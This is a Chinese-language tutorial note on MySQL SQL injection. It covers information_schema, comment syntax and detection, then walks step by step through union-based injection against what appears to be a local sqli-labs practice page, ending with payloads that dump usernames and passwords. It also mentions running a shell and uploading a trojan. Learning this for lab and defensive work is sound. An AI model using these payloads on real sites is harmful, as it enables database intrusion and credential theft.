MYSQL注入
SQL注入的几张表:
一、information_schema库:
1、在mysql5.0版本后,默认数据库存放在这个数据库中,该库中常用的三个表schemata、tables、columns
2、schemata表存储的是该用户创建的所有数据库中的库名,记录数据库的字段名为schema_name
3、tables表存储该用户创建的所有数据库名和表明,库名和表明分别为table_schema,table_name
4、columns存储改用户创建的所有数据库的库名、表明、字段名,分别为table_schema,table_name,columns_name
二、数据库查询语句
格式:
需查询的值 A=select 所属字段名 A from 所属表名 where 对应字段名 B=值B
三、limit的用法
格式 limit n:m,其中n指的是记录开始的位置,从m=0开始,表示第一条记录,n是指取几条记录
四、常用的几个函数
version():当前mysql版本
database():当前使用的数据
user():当前mysql的用户
五、注释
1、#
2、-- + 空格
3、/**/ 内联注释
4、/*!*/ 强制内联注释
注:url里不能用#号
六、探测方法
1、注入探测:
自动方式:使用web漏洞扫描工具,发现注入点;
手工方式:手工构造测试语句发现注入点;
手工判断三步骤:
数值型:
and 1=1 true
and 1=2 false
字符型:
‘ and 1=1 --+ true
‘ and 1=2 --+ true or false
2、信息获取
环境信息:数据库类型,数据库版本,用户信息等
数据库信息:数据库名称,数据库表,字段,字段内容
3、获取权限
获取操作权限,数据库执行shell,上传木马
注:只要是带有参数的动态页面,都会存在注入的风险
七、Union注入攻击及代码分析
举例:
联合注入实现
http://127.0.0.1/sqli/Less/?id=1
第一步:判断是否存在sql注入漏洞
1、、http://127.0.0.1/sqli/Less-1/?id=1‘ 错误
2、、http://127.0.0.1/sqli/Less-1/?id=1 and 1=1 正常
3、http://127.0.0.1/sqli/Less-1/?id=1 and 1=2 正常
返回正常这里可以判断是字符型,那么构造字符型注入的payload
1、http://127.0.0.1/sqli/Less-1/?id=1‘ and 1=1 --+ 正常
2、http://127.0.0.1/sqli/Less-1/?id=1‘ and 1=2 --+ 异常
从而可以判断此处存在sql注入漏洞,切入漏洞类型为数值型
第二步:判断数据表字段数
order by 1-99
http://127.0.0.1/sqli/Less-1/?id=0‘ order by 1 --+
第三步:判断查询输出的位置
http://127.0.0.1/sqli/Less-1/?id=0‘ union select 1,2,3 --+
第四步:脱裤,报数据库名 seccurity --
http://127.0.0.1/sqli/Less-1/?id=1‘ union select 1,2,database() --+
第五步:报表名 users
http://127.0.0.1/sqli/Less-1/?id=0‘ union select 1,2,
(select group_concat(table_name) from information_schema.tables
where table_schema=‘security‘) --+
第六步:报字段名 id,username,password
http://127.0.0.1/sqli/Less-1/?id=0‘ union select 1,2,
(select group_concat(column_name) from information_schema.columns
where table_schema=‘security‘ and table_name=‘users‘) --+
第七步:报数据
http://127.0.0.1/sqli/Less-1/?id=0‘ union select 1,2,
(select group_concat(id,0x3a,username,0x3a,password) from security.users) --+